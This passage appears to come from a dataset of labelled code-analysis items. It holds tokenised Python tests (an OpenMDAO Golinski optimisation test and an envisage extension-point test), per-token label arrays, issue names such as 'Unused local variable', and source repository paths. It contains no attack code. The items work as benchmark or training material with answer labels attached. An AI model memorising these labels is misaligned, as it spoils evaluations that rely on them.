"=", "C0", "103_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Opt", "Gol", "ins", "ki", "Component_", "(_", "Component_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Opt", "Gol", "ins", "ki", "Component_", ",_", "self_", ")_", "._", "\\u\\u", "init\\u\\u_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "x_", "=_", "numpy_", "._", "array_", "(_", "[_", "3.3", "_", ",_", "0.70", "_", ",_", "25.0", "_", ",_", "7.9", "_", ",_", "7.5", "999999", "_", ",_", "3.0_", ",_", "5.0", "9999999", "_", "]_", ",_", "dtype_", "=_", "float_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "self", ".", "x", " ", "=", " ", "nump", "y", ".", "array", "([", "3.3", ",", "0.58", "9999", "970", ",", "25.0", ",", "7.9", ",", "7.5", "999999", ",", "3.0", ",", "5.0", "9999999", "],", "dt", "ype", "=", "float", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "self", ".", "x", " ", "=", " ", "nump", "y", ".", "array", "([", "3.5", ",", "0.70", "0", ",", "17.", "0", ",", "7.3", ",", "7.7", "153", "201", ",", "3.5", "021", "5", ",", "5.2", "866", "545", "],", "dt", "ype", "=", "float", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "opt", "\\u", "objective_", "=_", "0.29", "851", "384", "e+0", "4_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "opt", "\\u", "design", "\\u", "vars_", "=_", "[_", "3.3", "_", ",_", "0.7_", ",_", "17.", "0_", ",_", "7.3", "_", ",_", "7.3", "_", ",_", "3.3", "502", "0_", ",_", "5.2", "865", "_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Opt", "Gol", "ins", "ki", "Component_", "(_", "Component_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "execute_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "calcul", "ate", " ", "the", " ", "new", " ", "objecti", "ve", " ", "value", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "'", " ", "Execut", "ing", " ", "objecti", "ve", " ", "express", "ion", "*****", "*'_", "\\u\\u\\uNL\\u\\u\\u_", "cf_", "=_", "[_", "0.78", "54_", ",_", "3.3", "333_", ",_", "14.", "933", "4_", ",_", "43.", "093", "40_", ",_", "1.5", "08_", ",_", "7.4", "77_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "result_", "=_", "(_", "cf_", "[_", "0_", "]_", "*_", "self_", "._", "x_", "[_", "0_", "]_", "*_", "self_", "._", "x_", "[_", "1_", "]_", "*_", "self_", "._", "x_", "[_", "1_", "]_", "*_", "(_", "cf_", "[_", "1_", "]_", "*_", "self_", "._", "x_", "[_", "2_", "]_", "*_", "self_", "._", "x_", "[_", "2_", "]_", "+_", "cf_", "[_", "2_", "]_", "*_", "self_", "._", "x_", "[_", "2_", "]_", "-_", "cf_", "[_", "3_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "-_", "cf_", "[_", "4_", "]_", "*_", "self_", "._", "x_", "[_", "0_", "]_", "*_", "(_", "self_", "._", "x_", "[_", "5_", "]_", "*_", "self_", "._", "x_", "[_", "5_", "]_", "+_", "self_", "._", "x_", "[_", "6_", "]_", "*_", "self_", "._", "x_", "[_", "6_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "cf_", "[_", "5_", "]_", "*_", "(_", "self_", "._", "x_", "[_", "5_", "]_", "*_", "self_", "._", "x_", "[_", "5_", "]_", "*_", "self_", "._", "x_", "[_", "5_", "]_", "+_", "self_", "._", "x_", "[_", "6_", "]_", "*_", "self_", "._", "x_", "[_", "6_", "]_", "*_", "self_", "._", "x_", "[_", "6_", "]_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "+_", "cf_", "[_", "0_", "]_", "*_", "(_", "self_", "._", "x_", "[_", "3_", "]_", "*_", "self_", "._", "x_", "[_", "5_", "]_", "*_", "self_", "._", "x_", "[_", "5_", "]_", "+_", "self_", "._", "x_", "[_", "4_", "]_", "*_", "self_", "._", "x_", "[_", "6_", "]_", "*_", "self_", "._", "x_", "[_", "6_", "]_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Gol", "ins", "ki", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "test", " ", "CON", "MIN", " ", "optimize", "r", " ", "component", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "optimize", " ", " ", "x", "[", "0", "]", " ", "...........", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "optimize", " ", " ", "x", "[", "5", "]", " ", "...........", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", "optimize", " ", " ", "x", "[", "6", "]", " ", "...........", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Gol", "ins", "ki", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "top_", "=_", "set\\u", "as", "\\u", "top_", "(_", "Asse", "mbly", "_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "add_", "(_", "'", "driver", "'_", ",_", "CON", "MIN", "driver_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "add_", "(_", "'", "comp", "'_", ",_", "Opt", "Gol", "ins", "ki", "Component_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "workflow_", "._", "add_", "(_", "'", "comp", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "ipr", "int_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "itm", "ax_", "=_", "30_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Gol", "ins", "ki", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "top_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Gol", "ins", "ki", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "x0_", "(_", "self_", ",_", "g1", "1_", ",_", "g1", "2_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x0", "0_", "=_", "self_", "._", "top_", "._", "comp_", "._", "x_", "[_", "0_", "]_", "=_", "max_", "(_", "27.", "0_", "/_", "(_", "g1", "1_", "*_", "g1", "1_", "*_", "g1", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "397", ".5_", "/_", "(_", "g1", "1_", "*_", "g1", "1_", "*_", "g1", "2_", "*_", "g1", "2_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "5.0_", "*_", "g1", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "2.6", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "x0", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Gol", "ins", "ki", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "x5", "_", "(_", "self_", ",_", "g1", "1_", ",_", "g1", "2_", ",_", "g1", "3_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "A1_", "=_", "(_", "(_", "(_", "745", ".0_", "*_", "g1", "3_", ")_", "/_", "(_", "g1", "1_", "*_", "g1", "2_", ")_", ")_", "**_", "2_", "+_", "0.16", "9_", "*_", "1.0", "e0", "8_", ")_", "**_", "0.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g2", "1_", "=_", "(_", "A1_", "/_", "(_", "1100", ".0_", "*_", "0.1_", ")_", ")_", "**_", "(_", "1.0_", "/_", "3.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g2", "2_", "=_", "(_", "1.9", "3_", "*_", "g1", "3_", "*_", "g1", "3_", "*_", "g1", "3_", "/_", "(_", "g1", "1_", "*_", "g1", "2_", ")_", ")_", "**_", "0.25_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g2", "3_", "=_", "2.9", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "x0", "5_", "=_", "max_", "(_", "g2", "1_", ",_", "g2", "2_", ",_", "g2", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "x0", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Gol", "ins", "ki", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get", "x6", "_", "(_", "self_", ",_", "g1", "1_", ",_", "g1", "2_", ",_", "g1", "4_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "A2_", "=_", "(_", "(_", "(_", "745", ".0_", "*_", "g1", "4_", ")_", "/_", "(_", "g1", "1_", "*_", "g1", "2_", ")_", ")_", "**_", "2_", "+_", "0.15", "75_", "*_", "1.0", "e0", "9_", ")_", "**_", "0.5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g3", "1_", "=_", "(_", "A2_", "/_", "(_", "850", ".0_", "*_", "0.1_", ")_", ")_", "**_", "(_", "1.0_", "/_", "3.0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g3", "2_", "=_", "(_", "1.9", "3_", "*_", "g1", "4_", "*_", "g1", "4_", "*_", "g1", "4_", "/_", "(_", "g1", "1_", "*_", "g1", "2_", ")_", ")_", "**_", "0.25_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g3", "3_", "=_", "5.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x0", "6_", "=_", "max_", "(_", "g3", "1_", ",_", "g3", "2_", ",_", "g3", "3_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "x0", "6_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Gol", "ins", "ki", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "opt", "1_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Gol", "ins", "ki", " ", "optimization", " ", "usi", "ng", " ", "CON", "MIN_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "top_", "._", "driver_", "._", "add", "\\u", "objective_", "(_", "'", "comp", ".", "result", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "maximize", " ", "x", "[", "0", "]", " ", "value_", "\\u\\u\\uNL\\u\\u\\u_", "iter_", "=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "add", "\\u", "parameter_", "(_", "'", "comp", ".", "x", "[", "1", "]'_", ",_", ".7_", ",_", ".8_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "add", "\\u", "parameter_", "(_", "'", "comp", ".", "x", "[", "2", "]'_", ",_", "17.", "_", ",_", "28.", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "add", "\\u", "parameter_", "(_", "'", "comp", ".", "x", "[", "3", "]'_", ",_", "7.3", "_", ",_", "8.3", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "add", "\\u", "parameter_", "(_", "'", "comp", ".", "x", "[", "4", "]'_", ",_", "7.3", "_", ",_", "8.3", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", " ", "25", " ", "CONSTR", "AIN", "TS", " ", " ", "defin", "ed", " ", "in", " ", "the", " ", "problem_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "reduce", "d", " ", "to", " ", "1", " ", "constraint_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "driver_", "._", "add", "\\u", "constraint_", "(_", "'", "40.0", "/(", "comp", ".", "x", "[", "2", "]", " ", "*", " ", "comp", ".", "x", "[", "3", "])", " ", ">", " ", "1.0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "iter_", "<_", "4_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", " ", "'", "iter", " ", "',", "iter_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "g0", "0_", "=_", "self_", "._", "top_", "._", "comp_", "._", "x_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g1", "1_", "=_", "self_", "._", "top_", "._", "comp_", "._", "x_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g1", "2_", "=_", "self_", "._", "top_", "._", "comp_", "._", "x_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g1", "3_", "=_", "self_", "._", "top_", "._", "comp_", "._", "x_", "[_", "3_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g1", "4_", "=_", "self_", "._", "top_", "._", "comp_", "._", "x_", "[_", "4_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g1", "5_", "=_", "self_", "._", "top_", "._", "comp_", "._", "x_", "[_", "5_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "g1", "6_", "=_", "self_", "._", "top_", "._", "comp_", "._", "x_", "[_", "6_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "'", "startin", "g", " ", "initial", " ", "design", " ", "variab", "les", " ", "*****", "*", " ", "x0", " ", "to", " ", "x6", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", " ", "g0", "0", ",", " ", "g1", "1", ",", " ", "g1", "2", ",", " ", "g1", "3", ",", " ", "g1", "4", ",", " ", "g1", "5", ",", " ", "g1", "6_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "comp_", "._", "set_", "(_", "'", "x", "[", "0", "]'_", ",_", "self_", "._", "get", "x0_", "(_", "g1", "1_", ",_", "g1", "2_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "comp_", "._", "set_", "(_", "'", "x", "[", "5", "]'_", ",_", "self_", "._", "get", "x5", "_", "(_", "g1", "1_", ",_", "g1", "2_", ",_", "g1", "3_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "top_", "._", "comp_", "._", "set_", "(_", "'", "x", "[", "6", "]'_", ",_", "self_", "._", "get", "x6", "_", "(_", "g1", "1_", ",_", "g1", "2_", ",_", "g1", "4_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", "'", " ", "***********", "***********", "***********", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", " ", "***********", "***********", "***********", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pylint", ":", " ", "disable", "-", "msg", "=", "C0", "301_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", " ", "'", " ", " ", "bef", "ore", " ", "run", " ", "values", " ", "..", "x0", " ", "-", " ", "x6", "...'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "x0", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "x", "[", "0", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "x1", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "x", "[", "1", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "x2", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "x", "[", "2", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "x3", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "x", "[", "3", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "x4", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "x", "[", "4", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "x5", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "x", "[", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "x6", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "x", "[", "6", "]_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "top_", "._", "run_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "print", " ", " ", "'", "New", " ", "values", " ", "after", " ", "CON", "MIN", " ", "optimization", " ", "********", "**'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "x0", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "x", "[", "0", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "x1", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "x", "[", "1", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "x2", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "x", "[", "2", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "x3", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "x", "[", "3", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "x4", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "x", "[", "4", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "x5", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "x", "[", "5", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "x6", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "x", "[", "6", "]_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", " ", "***********", "***********", "***********", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", " ", "***********", "***********", "***********", "'_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "print", " ", "'", "Obj", " ", "FUNC", "TIO", "N", " ", "Val", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "result_", "\\u\\u\\uNL\\u\\u\\u_", "iter_", "=_", "iter_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "print", " ", "'", "Obj", " ", "FUNC", "TIO", "N", " ", "Val", " ", "=", " ", "',", " ", "self", ".", "top", ".", "comp", ".", "result_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "pylint", ":", " ", "disable", "-", "msg", "=", "E1", "101_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "self_", "._", "top_", "._", "comp_", "._", "opt", "\\u", "objective_", ",_", "self_", "._", "top_", "._", "driver_", "._", "eval", "\\u", "objective_", "(_", ")_", ",_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "self_", "._", "top_", "._", "comp_", "._", "opt", "\\u", "design", "\\u", "vars_", "[_", "1_", "]_", ",_", "self_", "._", "top_", "._", "comp_", "._", "x_", "[_", "1_", "]_", ",_", "0.1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "self_", "._", "top_", "._", "comp_", "._", "opt", "\\u", "design", "\\u", "vars_", "[_", "2_", "]_", ",_", "self_", "._", "top_", "._", "comp_", "._", "x_", "[_", "2_", "]_", ",_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "self_", "._", "top_", "._", "comp_", "._", "opt", "\\u", "design", "\\u", "vars_", "[_", "3_", "]_", ",_", "self_", "._", "top_", "._", "comp_", "._", "x_", "[_", "3_", "]_", ",_", "0.01_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert", "\\u", "rel", "\\u", "error_", "(_", "self_", ",_", "self_", "._", "top_", "._", "comp_", "._", "opt", "\\u", "design", "\\u", "vars_", "[_", "4_", "]_", ",_", "self_", "._", "top_", "._", "comp_", "._", "x_", "[_", "4_", "]_", ",_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
enthought/envisage/envisage/tests/extension_point_test_case.py
[ { "content": " def test_extension_point_with_no_id(self):\n \"\"\" extension point with no Id \"\"\"\n\n def factory():\n class Foo(TestBase):\n x = ExtensionPoint(List(Int))\n\n self.failUnlessRaises(ValueError, factory)\n\n return", "metadata": "root.ExtensionPointTestCase.test_extension_point_with_no_id", "header": "['class', 'ExtensionPointTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 198 } ]
[ { "span": "Foo(", "start_line": 202, "start_column": 18, "end_line": 202, "end_column": 21 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Ext", "ensi", "on", "Point", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "extensi", "on", "\\u", "point", "\\u", "with", "\\u", "no", "\\u", "id_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "extensi", "on", " ", "point", " ", "with", " ", "no", " ", "Id", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "factory_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "class_", "Foo_", "(_", "Test", "Base_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "x_", "=_", "Ext", "ensi", "on", "Point_", "(_", "List_", "(_", "Int_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "fail", "Un", "less", "Raises_", "(_", "Value", "Error_", ",_", "factory_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Missing call to `__init__` during object initialization
vishnevskiy/battlenet/battlenet/things.py
